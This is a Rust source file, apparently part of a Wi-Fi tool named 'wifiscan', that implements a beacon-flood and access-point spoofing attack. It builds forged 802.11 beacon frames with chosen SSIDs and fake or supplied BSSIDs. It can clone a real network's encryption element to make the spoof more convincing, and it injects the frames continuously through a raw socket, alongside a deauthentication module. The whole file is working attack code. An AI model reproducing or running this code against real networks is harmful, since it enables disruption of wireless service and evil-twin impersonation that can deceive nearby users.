wifiscan 0.4.0

use std::sync::atomic::{AtomicBool, AtomicU32, Ordering};
use std::sync::Arc;
use std::time::Duration;

use crate::deauth::{inject_frame, open_raw_socket, parse_mac};

// TX radiotap header: same as deauth (RATE + TX_FLAGS with NO_ACK)
const RADIOTAP_TX: [u8; 12] = [
    0x00, 0x00,             // version, pad
    0x0c, 0x00,             // length = 12
    0x04, 0x80, 0x00, 0x00, // present: RATE (bit 2) + TX_FLAGS (bit 15)
    0x0c,                   // rate = 6 Mbps
    0x00,                   // padding
    0x08, 0x00,             // TX_FLAGS = F_TX_NOACK
];

const BROADCAST: [u8; 6] = [0xFF; 6];

/// Supported rates IE for basic compatibility
const SUPPORTED_RATES: [u8; 10] = [
    0x01, 0x08, // Tag 1, length 8
    0x82, 0x84, 0x8b, 0x96, // 1, 2, 5.5, 11 Mbps (basic)
    0x0c, 0x12, 0x18, 0x24, // 6, 9, 12, 18 Mbps
];

/// Extended supported rates
const EXT_RATES: [u8; 6] = [
    0x32, 0x04, // Tag 50, length 4
    0x30, 0x48, 0x60, 0x6c, // 24, 36, 48, 54 Mbps
];

/// Progress state for beacon flood, polled by UI.
#[derive(Debug)]
pub struct BeaconFloodProgress {
    pub beacons_sent: AtomicU32,
    pub failed: AtomicU32,
    pub done: AtomicBool,
    pub stop: AtomicBool,
}

impl Default for BeaconFloodProgress {
    fn default() -> Self {
        Self {
            beacons_sent: AtomicU32::new(0),
            failed: AtomicU32::new(0),
            done: AtomicBool::new(false),
            stop: AtomicBool::new(false),
        }
    }
}

impl BeaconFloodProgress {
    pub fn new() -> Self {
        Self::default()
    }
}

/// Generate a random-looking locally-administered BSSID.
fn generate_rogue_bssid() -> [u8; 6] {
    // Use current time nanos as simple entropy source
    let t = std::time::SystemTime::now()
        .duration_since(std::time::UNIX_EPOCH)
        .unwrap_or_default()
        .subsec_nanos();
    [
        0x02 | ((t & 0xFF) as u8 & 0xFE), // locally administered, unicast
        ((t >> 8) & 0xFF) as u8,
        ((t >> 16) & 0xFF) as u8,
        ((t >> 24) & 0xFF) as u8,
        (t.wrapping_mul(7) & 0xFF) as u8,
        (t.wrapping_mul(13) & 0xFF) as u8,
    ]
}

/// Build a beacon frame with the given SSID and channel.
/// Optionally clones the RSN IE from the original AP for more convincing spoofing.
fn build_beacon_frame(
    bssid: &[u8; 6],
    ssid: &str,
    channel: u8,
    seq_num: u16,
    rsn_ie: Option<&[u8]>,
) -> Vec<u8> {
    let ssid_bytes = ssid.as_bytes();
    let ssid_len = ssid_bytes.len().min(32);

    // Pre-calculate size
    let rsn_len = rsn_ie.map(|r| r.len()).unwrap_or(0);
    let frame_size = 12   // radiotap
        + 24              // 802.11 header
        + 12              // fixed params (timestamp + interval + capability)
        + 2 + ssid_len    // SSID IE
        + SUPPORTED_RATES.len()
        + 3               // DS Parameter Set IE (tag 3)
        + EXT_RATES.len()
        + rsn_len;

    let mut f = Vec::with_capacity(frame_size);

    // Radiotap TX header
    f.extend_from_slice(&RADIOTAP_TX);

    // Frame control: Beacon (0x80, 0x00)
    f.push(0x80);
    f.push(0x00);

    // Duration
    f.push(0x00);
    f.push(0x00);

    // Address 1: Destination (broadcast)
    f.extend_from_slice(&BROADCAST);
    // Address 2: Source (our rogue BSSID)
    f.extend_from_slice(bssid);
    // Address 3: BSSID
    f.extend_from_slice(bssid);

    // Sequence control
    let seq_ctrl = (seq_num & 0x0FFF) << 4;
    f.push((seq_ctrl & 0xFF) as u8);
    f.push(((seq_ctrl >> 8) & 0xFF) as u8);

    // --- Fixed parameters ---
    // Timestamp (8 bytes) - use relative time
    let ts = std::time::SystemTime::now()
        .duration_since(std::time::UNIX_EPOCH)
        .unwrap_or_default()
        .as_micros() as u64;
    f.extend_from_slice(&ts.to_le_bytes());

    // Beacon interval: 100 TU (0x0064)
    f.push(0x64);
    f.push(0x00);

    // Capability info: ESS + privacy (if RSN provided)
    let cap: u16 = if rsn_ie.is_some() { 0x0431 } else { 0x0421 };
    f.push((cap & 0xFF) as u8);
    f.push(((cap >> 8) & 0xFF) as u8);

    // --- Tagged parameters ---
    // SSID (tag 0)
    f.push(0x00);
    f.push(ssid_len as u8);
    f.extend_from_slice(&ssid_bytes[..ssid_len]);

    // Supported rates (tag 1)
    f.extend_from_slice(&SUPPORTED_RATES);

    // DS Parameter Set (tag 3): channel
    f.push(0x03);
    f.push(0x01);
    f.push(channel);

    // Extended Supported Rates (tag 50)
    f.extend_from_slice(&EXT_RATES);

    // RSN IE (if cloning encryption)
    if let Some(rsn) = rsn_ie {
        f.extend_from_slice(rsn);
    }

    f
}

/// Extract the raw RSN IE (tag 48) from a captured beacon's IEs.
/// Returns the full TLV (tag + length + data) so it can be reinjected.
pub fn extract_rsn_ie_raw(frame_bytes: &[u8], ie_start: usize) -> Option<Vec<u8>> {
    let mut pos = ie_start;
    while pos + 1 < frame_bytes.len() {
        let tag_id = frame_bytes[pos];
        let tag_len = frame_bytes[pos + 1] as usize;
        if pos + 2 + tag_len > frame_bytes.len() { break; }
        if tag_id == 48 {
            return Some(frame_bytes[pos..pos + 2 + tag_len].to_vec());
        }
        pos += 2 + tag_len;
    }
    None
}

/// Spawn a beacon flood on a background thread.
/// Broadcasts beacons with the given SSID at ~10 beacons/sec until stopped.
pub fn spawn_beacon_flood(
    iface: String,
    ssid: String,
    channel: u8,
    bssid_str: Option<String>,
    rsn_ie: Option<Vec<u8>>,
    progress: Arc<BeaconFloodProgress>,
) {
    std::thread::spawn(move || {
        let bssid = match &bssid_str {
            Some(s) => parse_mac(s).unwrap_or_else(generate_rogue_bssid),
            None => generate_rogue_bssid(),
        };

        // Set channel
        let _ = std::process::Command::new("iw")
            .args(["dev", &iface, "set", "channel", &channel.to_string()])
            .output();

        let (sock, sa) = match open_raw_socket(&iface) {
            Some(s) => s,
            None => {
                progress.failed.store(1, Ordering::Relaxed);
                progress.done.store(true, Ordering::Relaxed);
                return;
            }
        };

        let mut seq: u16 = 0;
        let mut sent: u32 = 0;
        let mut failed: u32 = 0;

        while !progress.stop.load(Ordering::Relaxed) {
            let frame = build_beacon_frame(
                &bssid, &ssid, channel, seq,
                rsn_ie.as_deref(),
            );

            if inject_frame(sock, &sa, &frame) {
                sent += 1;
            } else {
                failed += 1;
            }
            progress.beacons_sent.store(sent, Ordering::Relaxed);
            progress.failed.store(failed, Ordering::Relaxed);

            seq = seq.wrapping_add(1);

            // ~10 beacons per second (100ms interval, matching 100 TU beacon interval)
            std::thread::sleep(Duration::from_millis(100));

            // Bail early if all injections failing
            if failed > 20 && sent == 0 {
                break;
            }
        }

        unsafe { libc::close(sock); }
        progress.done.store(true, Ordering::Relaxed);
    });
}